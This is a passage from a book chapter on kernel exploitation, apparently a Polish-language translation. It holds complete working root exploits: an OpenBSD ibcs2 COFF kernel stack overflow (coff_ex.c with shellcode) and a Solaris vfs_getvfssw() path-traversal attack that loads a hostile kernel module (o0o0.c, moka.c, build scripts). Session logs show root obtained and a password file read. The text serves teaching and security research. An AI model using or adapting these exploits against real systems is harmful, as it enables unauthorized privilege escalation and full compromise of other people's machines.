Abort trap
-bash-2.05b$ id
uid=0(root) gid=1000(noir) groups=1000(noir)
-bash-2.05b$ bash
bash-2.05b# cp /dev/zero ./ibcs2own
/home: write failed, file system is full
cp: ./ibcs2own: No space left on device
bash-2.05b# rm -f ./ibcs2own
bash-2.05b# head -2 /etc/master.passwd
root:$2a$08$ [cut] :0:0:daemon:0:0:Charlie &:/root:/bin/csh
daemon:*:1:1::0:0:The devil himself:/root:/sbin/nologin
...
------------------------------ coff_ex.c --------------------------------
---- --
/** OpenBSD 2.x - 3.3 **/
/** exec_ibcs2_coff_prep_zmagic() kernel stack overflow **/
/** note: ibcs2 binary compatibility with SCO and ISC is enabled **/
/** in the default install **/
/** Copyright Feb 26 2003 Sinan “noir” Eren **/
/** noir@olympos.org | noir@uberhax0r.net **/
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/param.h>
```

```
#include <sys/sysctl.h>
#include <sys/signal.h>
/* kernel_sc.s shellcode */
unsigned char shellcode[] =
"\xe8\x0f\x00\x00\x00\x78\x56\x34\x12\xfe\xca\xad\xde\xad\xde\xef\xbe"
"\x90\x90\x90\x5f\x8b\x0f\x8b\x59\x10\x31\xc0\x89\x43\x04\x8b\x13\x89"
"\x42\x04\x8b\x51\x14\x89\x42\x0c\x8d\x6c\x24\x68\x0f\x01\x4f\x04\x8b"
"\x5f\x06\x8b\x93\x00\x04\x00\x00\x8b\x8b\x04\x04\x00\x00\xc1\xe9\x10"
"\xc1\xe1\x10\xc1\xe2\x10\xc1\xea\x10\x09\xca\x31\xc9\x41\x8a\x1c\x0a"
"\x80\xfb\xe8\x75\xf7\x8d\x1c\x0a\x41\x8b\x0c\x0a\x83\xc1\x05\x01\xd9"
"\x89\xcf\xb0\xff\xfc\xb9\xff\xff\xff\xff\xf2\xae\x8a\x1f\x80\xfb\xd0"
"\x75\xef\x47\x31\xc0\x57\xc3";
/* iret_sc.s */
unsigned char iret_shellcode[] =
"\xe8\x0f\x00\x00\x00\x78\x56\x34\x12\xfe\xca\xad\xde\xad\xde\xef\xbe"
"\x90\x90\x90\x5f\x8b\x0f\x8b\x59\x10\x31\xc0\x89\x43\x04\x8b\x13\x89"
"\x42\x04\x8b\x51\x14\x89\x42\x0c\xfa\x6a\x1f\x07\x6a\x1f\x1f\x6a\x00"
"\x5f\x6a\x00\x5e\x68\x00\xd0\xbf\xdf\x5d\x6a\x00\x5b\x6a\x00\x5a\x6a"
"\x00\x59\x6a\x00\x58\x6a\x1f\x68\x00\xd0\xbf\xdf\x68\x87\x02\x00\x00"
"\x6a\x17";
unsigned char pusheip[] =
"\x68\x00\x00\x00\x00"; /* fill eip */
unsigned char iret[] =
"\xcf";
unsigned char exitsh[] =
"\x31\xc0\xcd\x80\xcc"; /* xorl %eax,%eax, int $0x80, int3 */
#define ZERO(p) memset(&p, 0x00, sizeof(p))
/*
* COFF file header
*/
struct coff_filehdr {
```

```
u_short f_magic; /* magic number */
u_short f_nscns; /* # of sections */
long f_timdat; /* timestamp */
long f_symptr; /* file offset of symbol table */
long f_nsyms; /* # of symbol table entries */
u_short f_opthdr; /* size of optional header */
u_short f_flags; /* flags */
};
/* f_magic flags */
#define COFF_MAGIC_I386 0x14c
/* f_flags */
#define COFF_F_RELFLG 0x1
#define COFF_F_EXEC 0x2
#define COFF_F_LNNO 0x4
#define COFF_F_LSYMS 0x8
#define COFF_F_SWABD 0x40
#define COFF_F_AR16WR 0x80
#define COFF_F_AR32WR 0x100
/*
* COFF system header
*/
struct coff_aouthdr {
short a_magic;
short a_vstamp;
long a_tsize;
long a_dsize;
long a_bsize;
long a_entry;
long a_tstart;
long a_dstart;
};
```

```
/* magic */
#define COFF_ZMAGIC 0413
/*
* COFF section header
*/
struct coff_scnhdr {
char s_name[8];
long s_paddr;
long s_vaddr;
long s_size;
long s_scnptr;
long s_relptr;
long s_lnnoptr;
u_short s_nreloc;
u_short s_nlnno;
long s_flags;
};
/* s_flags */
#define COFF_STYP_TEXT 0x20
#define COFF_STYP_DATA 0x40
#define COFF_STYP_SHLIB 0x800
void get_proc(pid_t, struct kinfo_proc *);
void sig_handler();
int
main(int argc, char **argv)
{
u_int i, fd, debug = 0;
u_char *ptr, *shptr;
u_long *lptr;
u_long pprocadr, offset;
struct kinfo_proc kp;
```

```
char *args[] = { “./ibcs2own”, NULL};
char *envs[] = { “RIP=theo”, NULL};
//COFF structures
struct coff_filehdr fhdr;
struct coff_aouthdr ahdr;
struct coff_scnhdr scn0, scn1, scn2;
if(argv[1]) {
if(!strncmp(argv[1], “-v”, 2))
debug = 1;
else {
printf(“-v: verbose flag only\n”);
exit(0);
}
}
ZERO(fhdr);
fhdr.f_magic = COFF_MAGIC_I386;
fhdr.f_nscns = 3; //TEXT, DATA, SHLIB
fhdr.f_timdat = 0xdeadbeef;
fhdr.f_symptr = 0x4000;
fhdr.f_nsyms = 1;
fhdr.f_opthdr = sizeof(ahdr); //AOUT opt header size
fhdr.f_flags = COFF_F_EXEC;
ZERO(ahdr);
ahdr.a_magic = COFF_ZMAGIC;
ahdr.a_tsize = 0;
ahdr.a_dsize = 0;
ahdr.a_bsize = 0;
ahdr.a_entry = 0x10000;
ahdr.a_tstart = 0;
ahdr.a_dstart = 0;
ZERO(scn0);
```

```
memcpy(&scn0.s_name, “.text”, 5);
scn0.s_paddr = 0x10000;
scn0.s_vaddr = 0x10000;
scn0.s_size = 4096;
scn0.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3);
//file offset of .text segment
scn0.s_relptr = 0;
scn0.s_lnnoptr = 0;
scn0.s_nreloc = 0;
scn0.s_nlnno = 0;
scn0.s_flags = COFF_STYP_TEXT;
ZERO(scn1);
memcpy(&scn1.s_name, “.data”, 5);
scn1.s_paddr = 0x10000 - 4096;
scn1.s_vaddr = 0x10000 - 4096;
scn1.s_size = 4096;
scn1.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) +
4096;
//file offset of .data segment
scn1.s_relptr = 0;
scn1.s_lnnoptr = 0;
scn1.s_nreloc = 0;
scn1.s_nlnno = 0;
scn1.s_flags = COFF_STYP_DATA;
ZERO(scn2);
memcpy(&scn2.s_name, “.shlib”, 6);
scn2.s_paddr = 0;
scn2.s_vaddr = 0;
scn2.s_size = 0xb0; //HERE IS DA OVF!!! static_buffer = 128
scn2.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) +
2*4096;
```

```
//file offset of .data segment
scn2.s_relptr = 0;
scn2.s_lnnoptr = 0;
scn2.s_nreloc = 0;
scn2.s_nlnno = 0;
scn2.s_flags = COFF_STYP_SHLIB;
offset = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 3*4096;
ptr = (char *) malloc(offset);
if(!ptr) {
perror(“malloc”);
exit(-1);
}
memset(ptr, 0xcc, offset); /* fill int3 */
/* copy sections */
offset = 0;
memcpy(ptr, (char *) &fhdr, sizeof(fhdr));
offset += sizeof(fhdr);
memcpy(ptr+offset, (char *) &ahdr, sizeof(ahdr));
offset += sizeof(ahdr);
memcpy(ptr+offset, (char *) &scn0, sizeof(scn0));
offset += sizeof(scn0);
memcpy(ptr+offset, &scn1, sizeof(scn1));
offset += sizeof(scn1);
memcpy(ptr+offset, (char *) &scn2, sizeof(scn2));
offset += sizeof(scn2);
lptr = (u_long *) ((char *)ptr + sizeof(fhdr) + sizeof(ahdr) + \
(sizeof(scn0) * 3) + 4096 + 4096 + 0xb0 - 8);
shptr = (char *) malloc(4096);
if(!shptr) {
perror(“malloc”);
exit(-1);
```

```
}
if(debug)
printf("payload adr: 0x%.8x\t", shptr);
memset(shptr, 0xcc, 4096);
get_proc((pid_t) getppid(), &kp);
pprocadr = (u_long) kp.kp_eproc.e_paddr;
if(debug)
printf("parent proc adr: 0x%.8x\n", pprocadr);
*lptr++ = 0xdeadbeef;
*lptr = (u_long) shptr;
shellcode[5] = pprocadr & 0xff;
shellcode[6] = (pprocadr >> 8) & 0xff;
shellcode[7] = (pprocadr >> 16) & 0xff;
shellcode[8] = (pprocadr >> 24) & 0xff;
memcpy(shptr, shellcode, sizeof(shellcode)-1);
unlink("./ibcs2own");
if((fd = open("./ibcs2own", O_CREAT^O_RDWR, 0755)) < 0) {
perror("open");
exit(-1);
}
write(fd, ptr, sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0) * 3) +
4096*3);
close(fd);
free(ptr);
signal(SIGSEGV, (void (*)())sig_handler);
signal(SIGILL, (void (*)())sig_handler);
signal(SIGSYS, (void (*)())sig_handler);
signal(SIGBUS, (void (*)())sig_handler);
signal(SIGABRT, (void (*)())sig_handler);
signal(SIGTRAP, (void (*)())sig_handler);
printf("\nDO NOT FORGET TO SHRED ./ibcs2own\n");
```

```
execve(args[0], args, envs);
perror(“execve”);
}
void
sig_handler()
{
_exit(0);
}
void
get_proc(pid_t pid, struct kinfo_proc *kp)
{
u_int arr[4], len;
arr[0] = CTL_KERN;
arr[1] = KERN_PROC;
arr[2] = KERN_PROC_PID;
arr[3] = pid;
len = sizeof(struct kinfo_proc);
if(sysctl(arr, 4, kp, &len, NULL, 0) < 0) {
perror(“sysctl”);
fprintf(stderr, “this is an unexpected error,
rerun!\n”);
exit(-1);
}
}
```

Solaris vfs_getvfssw(). Exploit przechodzenia ścieżki modułu jądra w ładowalnym module

Ta sekcja będzie krótka, ponieważ do zbudowania niezawodnego exploita vfs_getvfssw() potrzeba mniej kroków niż poprzedni exploit OpenBSD. W przeciwieństwie do luki OpenBSD, luka vfs_getvfssw() jest dość prosta do wykorzystania. Musimy tylko stworzyć prosty exploit, który wywoła jedno z podatnych wywołań systemowych ze skomplikowanym argumentem nazwy modname. Dodatkowo potrzebujemy modułu jądra, który zlokalizuje nasz proces na połączonej liście deskryptorów procesów i zmieni jego dane uwierzytelniające na dane użytkownika root. Napisanie wrogiego modułu jądra może wymagać wcześniejszego doświadczenia w rozwoju trybu jądra; ta działalność nie jest objęta zakresem tej książki. Radzimy zaopatrzyć się w kopię Solaris Internals autorstwa Jima Mauro i Richarda McDougalla, która jest najbardziej obszerną książką o jądrze Solarisa, a także zapoznać się z

architekturą jądra Solaris. Istnieje wiele możliwych ładunków dla luki vfs_getvfssw(), ale omówimy użycie jej tylko w celu uzyskania dostępu do roota. Możesz z łatwością posunąć tę technikę o krok dalej i opracować znacznie ciekawsze exploity, które mogą na przykład atakować zaufane systemy operacyjne, systemy zapobiegania włamaniom i inne urządzenia zabezpieczające.

Tworzenie exploita

Poniższy kod wywoła wywołanie systemowe sysfs() z argumentem ../../../tmp/o0. To skłoni jądro do załadowania /tmp/sparcv9/o0 (jeśli pracujemy z jądrem 64-bitowym) lub /tmp/o0 (jeśli jest to jądro 32-bitowe). To jest moduł, który umieścimy w folderze /tmp.

---------- o0o0.c ----------

```
#include <stdio.h>

#include <sys/fstyp.h>

#include <sys/fsid.h>

#include <sys/systeminfo.h>

/*int sysfs(int opcode, const char *fsname); */

int

main(int argc, char **argv)

{

char modname[] = “../../../tmp/o0”;

char buf[4096];

char ver[32], *ptr;

int sixtyfour = 0;

memset((char *) buf, 0x00, 4096);

if(sysinfo(SI_ISALIST, (char *) buf, 4095) < 0) {

perror(“sysinfo”);

exit(0);

}

if(strstr(buf, “sparcv9”))

sixtyfour = 1;

memset((char *) ver, 0x00, 32);

if(sysinfo(SI_RELEASE, (char *) ver, 32) < 0) {

perror(“sysinfo”);

exit(0);

}
```

```
ptr = (char *) strstr(ver, “.”);
if(!ptr) {
fprintf(stderr, “can’t grab release version!\n”);
exit(0);
}
ptr++;
memset((char *) buf, 0x00, 4096);
if(sixtyfour)
snprintf(buf, sizeof(buf)-1, “cp ./%s/o064 /tmp/sparcv9/o0”, ptr);
else
snprintf(buf, sizeof(buf)-1, “cp ./%s/o032 /tmp/o0”, ptr);
if(sixtyfour)
if(mkdir(“/tmp/sparcv9”, 0755) < 0) {
perror(“mkdir”);
exit(0);
}
system(buf);
sysfs(GETFSIND, modname);
//perror(“hoe!”);
if(sixtyfour)
system(“/usr/bin/rm -rf /tmp/sparcv9”);
else
system(“/usr/bin/rm -f /tmp/o0”);
}
```

Moduł jądra do załadowania

Jak wspomnieliśmy w poprzedniej sekcji, poniższy fragment kodu przejdzie przez wszystkie procesy, zlokalizuje nasz (na podstawie nazwy, takiej jak o0o0) i zaktualizuje pole uid struktury poświadczeń o zero, czyli główny uid. Następny fragment kodu jest jedyną istotną częścią modułu jądra eskalacji uprawnień w odniesieniu do eksploatacji. Reszta kodu to po prostu niezbędne skróty używane w celu uczynienia kodu działającym, ładowalnym modułem jądra.

```
[1] mutex_enter(&pidlock);
[2] for (p = practive; p != NULL; p = p->p_next) {
```

[3] if(strstr(p->p_user.u_comm, (char *) “o0o0”)) {

[4] pp = p->p_parent;

[5] newcr = crget();

[6] mutex_enter(&pp->p_crlock);

cr = pp->p_cred;

crcopy_to(cr, newcr);

pp->p_cred = newcr;

[7] newcr->cr_uid = 0;

[8] mutex_exit(&pp->p_crlock);

}

}

[9] mutex_exit(&pidlock);

Iterację zaczynamy od połączonej listy struktur procesów w [2]. Tuż przed iteracją musimy złapać blokadę w [1], aby wyświetlić listę. Robimy to, aby nic się nie zmieniło podczas parsowania dla naszego docelowego procesu (w naszym przypadku procesu exploita ./o0o0). Practive jest głównym wskaźnikiem połączonej listy, więc zaczynamy tam [2] i przechodzimy do następnej za pomocą wskaźnika p_next. W [3] porównujemy nazwę procesu z naszymi plikami wykonywalnymi exploita - w nazwie jest ustawione o0o0. Nazwa pliku wykonywalnego jest przechowywana w tablicy u_comm struktury użytkownika, na którą wskazuje p_user struktury procesu. Funkcja strstr() faktycznie wyszukuje pierwsze wystąpienie ciągu o0o0 w u_comm. Jeśli w nazwie procesu zostanie znaleziony specjalny ciąg, pobieramy deskryptor procesu nadrzędnego dla pliku wykonywalnego exploita w [4], który jest interpreterem powłoki. Od tego momentu kod utworzy nową strukturę poświadczeń dla powłoki [5], zablokuje mutex dla operacji struktury poświadczeń [6], zaktualizuje starą strukturę poświadczeń powłoki i zmieni identyfikator użytkownika na 0 (użytkownik root) w [7]. Kod eskalacji uprawnień zakończy się odblokowaniem muteksów zarówno dla struktury poświadczeń, jak i listy linków struktury procesu w [8] i [9].

---------- moka.c ----------

```
#include <sys/systm.h>

#include <sys/ddi.h>

#include <sys/sunddi.h>

#include <sys/cred.h>

#include <sys/types.h>

#include <sys/proc.h>

#include <sys/procfs.h>

#include <sys/kmem.h>

#include <sys/errno.h>
```

```
#include <fcntl.h>
#include <unistd.h>
#include <sys/modctl.h>
extern struct mod_ops mod_miscops;
int g3mm3(void);
int g3mm3()
{
register proc_t *p;
register proc_t *pp;
cred_t *cr, *newcr;
mutex_enter(&pidlock);
for (p = practive; p != NULL; p = p->p_next) {
if(strstr(p->p_user.u_comm, (char *) “o0o0”)) {
pp = p->p_parent;
newcr = crget();
mutex_enter(&pp->p_crlock);
cr = pp->p_cred;
crcopy_to(cr, newcr);
pp->p_cred = newcr;
newcr->cr_uid = 0;
mutex_exit(&pp->p_crlock);
}
continue;
}
mutex_exit(&pidlock);
return 1;
}
static struct modlmisc modlmisc =
{
&mod_miscops,
“u_comm”
```

```
};
static struct modlinkage modlinkage =
{
MODREV_1,
(void *) &modlmisc,
NULL
};
int _init(void)
{
int i;
if ((i = mod_install(&modlinkage)) != 0)
//cmn_err(CE_NOTE, “”);
;
#ifdef _DEBUG
else
cmn_err(CE_NOTE, “0o0o0o0o installed o0o0o0o0o0o0”);
#endif
i = g3mm3();
return i;
}
int _info(struct modinfo *modinfop)
{
return (mod_info(&modlinkage, modinfop));
}
int _fini(void)
{
int i;
if ((i = mod_remove(&modlinkage)) != 0)
//cmn_err(CE_NOTE, “not removed”);
;
#ifdef DEBUG
```

```
else

cmn_err(CE_NOTE, “removed”);

#endif

return i;

}
```

Dostarczymy teraz dwa różne skrypty powłoki, które skompilują moduł jądra odpowiednio dla jądra 64-bitowego i 32-bitowego. Musimy skompilować moduły jądra z odpowiednimi flagami kompilatora. Jest to główny cel dla poniższych skryptów powłoki, ponieważ określenie poprawnych opcji nie będzie łatwym zadaniem, jeśli nie wywodzisz się ze środowiska programowania jądra.

```
---------- make64.sh ----------

/opt/SUNWspro/bin/cc -xCC -g -xregs=no%appl,no%float -xarch=v9 \

-DUSE_KERNEL_UTILS -D_KERNEL -D_B64 moka.c

ld -o moka -r moka.o

rm moka.o

mv moka o064

gcc -o o0o0 sysfs_ex.c

/usr/ccs/bin/strip o0o0 o064

---------- make32.sh ----------

/opt/SUNWspro/bin/cc -xCC -g -xregs=no%appl,no%float -xarch=v8 \

-DUSE_KERNEL_UTILS -D_KERNEL -D_B32 moka.c

ld -o moka -r moka.o

rm moka.o

mv moka o032

gcc -o o0o0 sysfs_ex.c

/usr/ccs/bin/strip o0o0 o032
```

Uzyskiwanie roota (uid=0)

Ta ostatnia sekcja opisuje, jak uzyskać root lub uid=0 na docelowym komputerze Solaris. Przyjrzyjmy się, jak uruchomić tego exploita z wiersza poleceń.

```
$ uname -a

SunOS slint 5.8 Generic_108528-09 sun4u sparc SUNW,Ultra-5_10

$ isainfo -b

64
```

```
$ id
uid=1001(ser) gid=10(staff)
$ tar xf o0o0.tar
$ ls -l
total 180
drwxr-xr-x 6 ser staff 512 Mar 19 2002 o0o0
-rw-r--r-- 1 ser staff 90624 Aug 24 11:06 o0o0.tar
$ cd o0o0
$ ls
6 8 make.sh moka.c o032-8 o064-7
o064-9
sysfs_ex.c
7 9 make32.sh o032-7 o032-9 o064-8
o0o0
$ id
uid=1001(ser) gid=10(staff)
$ ./o0o0
$ id
uid=1001(ser) gid=10(staff) euid=0(root)
$ touch toor
$ ls -l toor
-rw-r--r-- 1 root staff 0 Aug 24 11:18 toor
$
```

Dostarczony exploit [1] będzie działał na Solarisach 7, 8 i 9 oraz w instalacjach 32- i 64-bitowych. Nie mieliśmy dostępu do przestarzałych wersji systemu operacyjnego Solaris (takich jak 2.6 i 2.5.1); w związku z tym exploit nie obsługuje tych wersji, ale uważamy, że można go skompilować i bezpiecznie wypróbować w systemie Solaris 2.5.1 i 2.6.

Podsumowanie

Wykorzystaliśmy luki w jądrze wykryte i omówione w Części 25. Stworzenie ładunku w celu wstrzyknięcia kodu powłoki dla różnych luk w zabezpieczeniach jądra może być trudne; w przypadku exploita OpenBSD zajęło to sporo pracy. Należy pamiętać, że niektóre błędy jądra będą łatwe do wykorzystania, podczas gdy inne będą wymagały znacznie więcej wysiłku. Mamy nadzieję, że byliśmy w stanie zająć się niektórymi metodami eksploatacji na poziomie jądra, abyś mógł zacząć pisać kody exploitów, a może nawet zabezpieczyć kod jądra. Wierzymy, że audyt kodu jądra jest świetną zabawą,

a pisanie exploitów dla znalezionych błędów jest jeszcze większą zabawą. Wiele projektów oferuje kompletny kod źródłowy jądra, który tylko czeka na wykonanie CV i audytu. Pomyślnych łowów.